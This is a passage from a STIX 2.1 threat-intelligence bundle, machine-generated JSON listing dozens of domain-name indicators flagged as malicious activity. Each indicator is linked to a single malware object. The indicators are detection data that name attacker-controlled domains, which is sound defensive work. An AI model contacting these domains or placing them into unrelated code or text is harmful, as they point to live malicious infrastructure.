"2024-01-26T21:28:21.663808Z", "modified": "2024-01-26T21:28:21.663808Z", "relationship_type": "indicates", "source_ref": "indicator--d90967f0-0f34-455c-9dbb-1435f59db923", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8786aac9-b6c2-48e1-abbc-1f9628a3426e", "created": "2024-01-26T21:28:21.663904Z", "modified": "2024-01-26T21:28:21.663904Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='beanbounce.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.663904Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a6114ed6-98b2-44f5-b9a3-40921a1063c9", "created": "2024-01-26T21:28:21.664285Z", "modified": "2024-01-26T21:28:21.664285Z", "relationship_type": "indicates", "source_ref": "indicator--8786aac9-b6c2-48e1-abbc-1f9628a3426e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--91f18b1a-c646-4552-8e70-108dc841afdd", "created": "2024-01-26T21:28:21.66438Z", "modified": "2024-01-26T21:28:21.66438Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='allfadiha.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.66438Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--00aff278-2ca9-4e52-b0af-4e85a6f09b0f", "created": "2024-01-26T21:28:21.664756Z", "modified": "2024-01-26T21:28:21.664756Z", "relationship_type": "indicates", "source_ref": "indicator--91f18b1a-c646-4552-8e70-108dc841afdd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6e455639-6bb2-419d-8827-376e8bcf4ba2", "created": "2024-01-26T21:28:21.664852Z", "modified": "2024-01-26T21:28:21.664852Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='organicdiamonds.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.664852Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4ea764d2-034a-470b-a86a-60485c15b9d9", "created": "2024-01-26T21:28:21.665239Z", "modified": "2024-01-26T21:28:21.665239Z", "relationship_type": "indicates", "source_ref": "indicator--6e455639-6bb2-419d-8827-376e8bcf4ba2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--29a4b6a0-5531-4ba7-b1a8-7bc547d3c148", "created": "2024-01-26T21:28:21.665335Z", "modified": "2024-01-26T21:28:21.665335Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='opera-van.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.665335Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--31e7fa70-9d15-41c9-a64a-8e9f2aa097ec", "created": "2024-01-26T21:28:21.665714Z", "modified": "2024-01-26T21:28:21.665714Z", "relationship_type": "indicates", "source_ref": "indicator--29a4b6a0-5531-4ba7-b1a8-7bc547d3c148", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b82ae823-6ed3-477b-ad32-016ae1201ae4", "created": "2024-01-26T21:28:21.665814Z", "modified": "2024-01-26T21:28:21.665814Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='weakdistance.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.665814Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c9a6b48f-7f70-4df0-bb64-1175ffc03fa0", "created": "2024-01-26T21:28:21.666273Z", "modified": "2024-01-26T21:28:21.666273Z", "relationship_type": "indicates", "source_ref": "indicator--b82ae823-6ed3-477b-ad32-016ae1201ae4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fa43076b-453c-4a37-b208-35a26d20f010", "created": "2024-01-26T21:28:21.666371Z", "modified": "2024-01-26T21:28:21.666371Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='breakingnewsasia.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.666371Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--94c62420-5f3c-4494-8e55-6a53fe9c8c97", "created": "2024-01-26T21:28:21.66676Z", "modified": "2024-01-26T21:28:21.66676Z", "relationship_type": "indicates", "source_ref": "indicator--fa43076b-453c-4a37-b208-35a26d20f010", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f4303d48-61e2-4779-8726-76914f6a3739", "created": "2024-01-26T21:28:21.66686Z", "modified": "2024-01-26T21:28:21.66686Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='girlsyoulike.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.66686Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--91d8df2e-1233-41ee-a4ca-db13bd3c0eb5", "created": "2024-01-26T21:28:21.667242Z", "modified": "2024-01-26T21:28:21.667242Z", "relationship_type": "indicates", "source_ref": "indicator--f4303d48-61e2-4779-8726-76914f6a3739", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--50e3e2dd-ad0a-4c90-9761-984a57db51d3", "created": "2024-01-26T21:28:21.667337Z", "modified": "2024-01-26T21:28:21.667337Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='newmodel.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.667337Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--45af2e58-f9e9-4137-bf4a-b8839743f071", "created": "2024-01-26T21:28:21.667725Z", "modified": "2024-01-26T21:28:21.667725Z", "relationship_type": "indicates", "source_ref": "indicator--50e3e2dd-ad0a-4c90-9761-984a57db51d3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4b358fab-2118-4cf0-8650-60dabc0752cb", "created": "2024-01-26T21:28:21.66782Z", "modified": "2024-01-26T21:28:21.66782Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='alive2plunge.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.66782Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8e4c3e50-c39f-4624-aead-b0a2245eecaf", "created": "2024-01-26T21:28:21.668207Z", "modified": "2024-01-26T21:28:21.668207Z", "relationship_type": "indicates", "source_ref": "indicator--4b358fab-2118-4cf0-8650-60dabc0752cb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b6a45e7b-59fc-4469-8227-e5f6f9e30efd", "created": "2024-01-26T21:28:21.668301Z", "modified": "2024-01-26T21:28:21.668301Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bulbazaur.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.668301Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a4b00af5-9c4f-4a17-b63d-0f29ad817fa5", "created": "2024-01-26T21:28:21.66868Z", "modified": "2024-01-26T21:28:21.66868Z", "relationship_type": "indicates", "source_ref": "indicator--b6a45e7b-59fc-4469-8227-e5f6f9e30efd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8668ea62-58ca-44ed-8d8e-d3808df966af", "created": "2024-01-26T21:28:21.668776Z", "modified": "2024-01-26T21:28:21.668776Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='web-loading.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.668776Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b57f4207-fabd-4ba4-95b4-d284a2526687", "created": "2024-01-26T21:28:21.669157Z", "modified": "2024-01-26T21:28:21.669157Z", "relationship_type": "indicates", "source_ref": "indicator--8668ea62-58ca-44ed-8d8e-d3808df966af", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9e7df7a5-c8d8-4366-aee3-891f4a447cee", "created": "2024-01-26T21:28:21.669252Z", "modified": "2024-01-26T21:28:21.669252Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='findmylunch.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.669252Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--752bdbfc-58b8-4716-99c1-fa325bd81a7d", "created": "2024-01-26T21:28:21.66964Z", "modified": "2024-01-26T21:28:21.66964Z", "relationship_type": "indicates", "source_ref": "indicator--9e7df7a5-c8d8-4366-aee3-891f4a447cee", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9d09233d-4ec9-40ca-ba92-0d46743fbb4a", "created": "2024-01-26T21:28:21.669734Z", "modified": "2024-01-26T21:28:21.669734Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='vkan-profile.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.669734Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--698c2de8-e350-475f-8736-1ae87cb82cff", "created": "2024-01-26T21:28:21.670118Z", "modified": "2024-01-26T21:28:21.670118Z", "relationship_type": "indicates", "source_ref": "indicator--9d09233d-4ec9-40ca-ba92-0d46743fbb4a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--69e8a0bd-2da3-4540-bb50-981cb7ea8255", "created": "2024-01-26T21:28:21.670213Z", "modified": "2024-01-26T21:28:21.670213Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mcel.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.670213Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3bc966c8-fa29-4fd6-b01d-93efddbfeb4a", "created": "2024-01-26T21:28:21.670667Z", "modified": "2024-01-26T21:28:21.670667Z", "relationship_type": "indicates", "source_ref": "indicator--69e8a0bd-2da3-4540-bb50-981cb7ea8255", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--961e8bc9-256d-4ad6-8d09-2b3355515f4d", "created": "2024-01-26T21:28:21.670765Z", "modified": "2024-01-26T21:28:21.670765Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirectweburl.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.670765Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4860d409-ff87-40d9-a686-c05c50e49d6d", "created": "2024-01-26T21:28:21.671156Z", "modified": "2024-01-26T21:28:21.671156Z", "relationship_type": "indicates", "source_ref": "indicator--961e8bc9-256d-4ad6-8d09-2b3355515f4d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d0a00435-1859-4e0c-94cd-1ce12da3b8db", "created": "2024-01-26T21:28:21.671259Z", "modified": "2024-01-26T21:28:21.671259Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='jaimelire.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.671259Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--84b661ce-438f-4ef2-843c-bca273b6c476", "created": "2024-01-26T21:28:21.671654Z", "modified": "2024-01-26T21:28:21.671654Z", "relationship_type": "indicates", "source_ref": "indicator--d0a00435-1859-4e0c-94cd-1ce12da3b8db", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9792ed53-6e43-452e-8967-228d083589e1", "created": "2024-01-26T21:28:21.671754Z", "modified": "2024-01-26T21:28:21.671754Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='chatresponses.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.671754Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3dc077f6-d63a-455a-971a-1ad4af8471a5", "created": "2024-01-26T21:28:21.672137Z", "modified": "2024-01-26T21:28:21.672137Z", "relationship_type": "indicates", "source_ref": "indicator--9792ed53-6e43-452e-8967-228d083589e1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4fc52ef4-b70e-4db2-b8d8-d4d9a66f7a4d", "created": "2024-01-26T21:28:21.672232Z", "modified": "2024-01-26T21:28:21.672232Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='reklamas.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.672232Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--00b4a5eb-19c2-4a3c-bec1-db1323cdaf1c", "created": "2024-01-26T21:28:21.672609Z", "modified": "2024-01-26T21:28:21.672609Z", "relationship_type": "indicates", "source_ref": "indicator--4fc52ef4-b70e-4db2-b8d8-d4d9a66f7a4d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2a25aa09-0dd3-423e-a940-0c2661cdb7e7", "created": "2024-01-26T21:28:21.672706Z", "modified": "2024-01-26T21:28:21.672706Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='updatedchargers.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.672706Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0a7cdcda-b2eb-4e51-a84b-a7af8432fe0d", "created": "2024-01-26T21:28:21.673094Z", "modified": "2024-01-26T21:28:21.673094Z", "relationship_type": "indicates", "source_ref": "indicator--2a25aa09-0dd3-423e-a940-0c2661cdb7e7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--89927cd7-cd18-4181-8f30-838a5504b6e9", "created": "2024-01-26T21:28:21.673193Z", "modified": "2024-01-26T21:28:21.673193Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='sale-2019.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.673193Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7f767247-8409-4328-a630-3c718118de4b", "created": "2024-01-26T21:28:21.673571Z", "modified": "2024-01-26T21:28:21.673571Z", "relationship_type": "indicates", "source_ref": "indicator--89927cd7-cd18-4181-8f30-838a5504b6e9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--16ea71be-8b4b-43e8-93ad-53995c0ff888", "created": "2024-01-26T21:28:21.673667Z", "modified": "2024-01-26T21:28:21.673667Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='hotels-review.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.673667Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6a0afb63-734e-4928-81ce-ce72c962bd48", "created": "2024-01-26T21:28:21.674056Z", "modified": "2024-01-26T21:28:21.674056Z", "relationship_type": "indicates", "source_ref": "indicator--16ea71be-8b4b-43e8-93ad-53995c0ff888", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d541bbbc-06fa-4587-8d01-7be8dc22aafb", "created": "2024-01-26T21:28:21.674155Z", "modified": "2024-01-26T21:28:21.674155Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='securisurf.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.674155Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9e5fd068-7295-4e71-a446-c215886de9b7", "created": "2024-01-26T21:28:21.674535Z", "modified": "2024-01-26T21:28:21.674535Z", "relationship_type": "indicates", "source_ref": "indicator--d541bbbc-06fa-4587-8d01-7be8dc22aafb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4cd89a65-583f-4464-b71d-844668acb9fa", "created": "2024-01-26T21:28:21.674631Z", "modified": "2024-01-26T21:28:21.674631Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='securedloading.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.674631Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--cd7a8ffe-b068-4a10-9876-dec8e31744b9", "created": "2024-01-26T21:28:21.675105Z", "modified": "2024-01-26T21:28:21.675105Z", "relationship_type": "indicates", "source_ref": "indicator--4cd89a65-583f-4464-b71d-844668acb9fa", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--661ce8a9-1940-4ddf-8ea4-6443fddfc82d", "created": "2024-01-26T21:28:21.675205Z", "modified": "2024-01-26T21:28:21.675205Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mideast-today.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.675205Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c479dd03-98d9-402d-852b-d8f54ead95b3", "created": "2024-01-26T21:28:21.675589Z", "modified": "2024-01-26T21:28:21.675589Z", "relationship_type": "indicates", "source_ref": "indicator--661ce8a9-1940-4ddf-8ea4-6443fddfc82d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8ee9cdc3-0a2e-408f-ac01-00bbe37f603e", "created": "2024-01-26T21:28:21.675684Z", "modified": "2024-01-26T21:28:21.675684Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='greensmallcanvas.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.675684Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6bdd291e-c178-4a4e-81da-30532f7fc200", "created": "2024-01-26T21:28:21.676069Z", "modified": "2024-01-26T21:28:21.676069Z", "relationship_type": "indicates", "source_ref": "indicator--8ee9cdc3-0a2e-408f-ac01-00bbe37f603e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--11e23e59-dfb1-4e62-9cd4-a2fc3199c754", "created": "2024-01-26T21:28:21.676165Z", "modified": "2024-01-26T21:28:21.676165Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='newipconfig.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.676165Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--90a4aeb8-c2e6-4b14-a299-428ede46ee19", "created": "2024-01-26T21:28:21.676546Z", "modified": "2024-01-26T21:28:21.676546Z", "relationship_type": "indicates", "source_ref": "indicator--11e23e59-dfb1-4e62-9cd4-a2fc3199c754", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1456aef0-1f11-4570-84a9-5732ab19aadb", "created": "2024-01-26T21:28:21.676641Z", "modified": "2024-01-26T21:28:21.676641Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='updatingwebpage.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.676641Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4e61eba1-03f7-4597-a0f9-e506e8686a57", "created": "2024-01-26T21:28:21.677027Z", "modified": "2024-01-26T21:28:21.677027Z", "relationship_type": "indicates", "source_ref": "indicator--1456aef0-1f11-4570-84a9-5732ab19aadb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--013e5055-878f-4202-9716-87ab760b32b0", "created": "2024-01-26T21:28:21.677123Z", "modified": "2024-01-26T21:28:21.677123Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='modifytimezone.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.677123Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5b5e9e32-3c4a-46fe-8d3d-679fc3403b3b", "created": "2024-01-26T21:28:21.677513Z", "modified": "2024-01-26T21:28:21.677513Z", "relationship_type": "indicates", "source_ref": "indicator--013e5055-878f-4202-9716-87ab760b32b0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--46f5f33b-5e8e-4c48-b696-4147ea17e561", "created": "2024-01-26T21:28:21.677609Z", "modified": "2024-01-26T21:28:21.677609Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirect2url.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.677609Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--da05bec2-9b10-4862-980e-7cdc67c99472", "created": "2024-01-26T21:28:21.677995Z", "modified": "2024-01-26T21:28:21.677995Z", "relationship_type": "indicates", "source_ref": "indicator--46f5f33b-5e8e-4c48-b696-4147ea17e561", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--072e39a7-5b4b-43f4-9af7-f171547e5597", "created": "2024-01-26T21:28:21.67809Z", "modified": "2024-01-26T21:28:21.67809Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='findmymind.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.67809Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c45a91ef-bc7c-4e90-b2a6-0325878d6a52", "created": "2024-01-26T21:28:21.67847Z", "modified": "2024-01-26T21:28:21.67847Z", "relationship_type": "indicates", "source_ref": "indicator--072e39a7-5b4b-43f4-9af7-f171547e5597", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1209b096-455f-4dac-963a-9c190031787f", "created": "2024-01-26T21:28:21.678565Z", "modified": "2024-01-26T21:28:21.678565Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='calendarsapp.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.678565Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8efcb889-21b6-4517-a509-9ae316db72e9", "created": "2024-01-26T21:28:21.678954Z", "modified": "2024-01-26T21:28:21.678954Z", "relationship_type": "indicates", "source_ref": "indicator--1209b096-455f-4dac-963a-9c190031787f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--40f87188-a42b-406e-91e4-3fa287256308", "created": "2024-01-26T21:28:21.679052Z", "modified": "2024-01-26T21:28:21.679052Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='viewstracker.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.679052Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--44148fbd-0d6f-42db-b6ab-7c83ebb44504", "created": "2024-01-26T21:28:21.679512Z", "modified": "2024-01-26T21:28:21.679512Z", "relationship_type": "indicates", "source_ref": "indicator--40f87188-a42b-406e-91e4-3fa287256308", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--dbefb5c7-f7b4-41af-8bcf-228b6366cb46", "created": "2024-01-26T21:28:21.67961Z", "modified": "2024-01-26T21:28:21.67961Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='web-loading.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.67961Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f5e63709-2a9b-4297-be8f-937594a91377", "created": "2024-01-26T21:28:21.679993Z", "modified": "2024-01-26T21:28:21.679993Z", "relationship_type": "indicates", "source_ref": "indicator--dbefb5c7-f7b4-41af-8bcf-228b6366cb46", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--904dbbb9-eb1d-49f9-ac81-f5190d2de0a7", "created": "2024-01-26T21:28:21.680089Z", "modified": "2024-01-26T21:28:21.680089Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='yourbestclothes.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.680089Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8c77661b-acf3-4f57-8338-cec4050c6446", "created": "2024-01-26T21:28:21.680478Z", "modified": "2024-01-26T21:28:21.680478Z", "relationship_type": "indicates", "source_ref": "indicator--904dbbb9-eb1d-49f9-ac81-f5190d2de0a7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--24a1e545-4b9a-413f-9ff7-96ab8caba4d4", "created": "2024-01-26T21:28:21.680574Z", "modified": "2024-01-26T21:28:21.680574Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='thespaclub.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.680574Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a5753fec-fc15-484c-ac73-b6e5c3c08349", "created": "2024-01-26T21:28:21.680954Z", "modified": "2024-01-26T21:28:21.680954Z", "relationship_type": "indicates", "source_ref": "indicator--24a1e545-4b9a-413f-9ff7-96ab8caba4d4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--04ae53a6-92e8-4e00-b780-5155321b55e7", "created": "2024-01-26T21:28:21.68105Z", "modified": "2024-01-26T21:28:21.68105Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='buildurlife.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.68105Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1afc76ac-bff4-4e42-9937-6e302d5b05ad", "created": "2024-01-26T21:28:21.68143Z", "modified": "2024-01-26T21:28:21.68143Z", "relationship_type": "indicates", "source_ref": "indicator--04ae53a6-92e8-4e00-b780-5155321b55e7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b5427e55-3c99-47c4-b658-a7b663d4f14b", "created": "2024-01-26T21:28:21.681524Z", "modified": "2024-01-26T21:28:21.681524Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mynewbesttime.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.681524Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a1ec603e-59ed-4621-ab86-02e26f409503", "created": "2024-01-26T21:28:21.681906Z", "modified": "2024-01-26T21:28:21.681906Z", "relationship_type": "indicates", "source_ref": "indicator--b5427e55-3c99-47c4-b658-a7b663d4f14b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a6399496-57a6-4ed2-ad42-71ef4c8afa09", "created": "2024-01-26T21:28:21.682002Z", "modified": "2024-01-26T21:28:21.682002Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='searchunit.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.682002Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d615e53f-f901-4ee4-bbc7-67e438e2fd3b", "created": "2024-01-26T21:28:21.682381Z", "modified": "2024-01-26T21:28:21.682381Z", "relationship_type": "indicates", "source_ref": "indicator--a6399496-57a6-4ed2-ad42-71ef4c8afa09", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--efa44e22-63d9-4704-b75d-8bff6d97d48f", "created": "2024-01-26T21:28:21.682477Z", "modified": "2024-01-26T21:28:21.682477Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='funinat.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.682477Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6ae0c195-f3d4-4b40-8b7a-f4cbf478781d", "created": "2024-01-26T21:28:21.682855Z", "modified": "2024-01-26T21:28:21.682855Z", "relationship_type": "indicates", "source_ref": 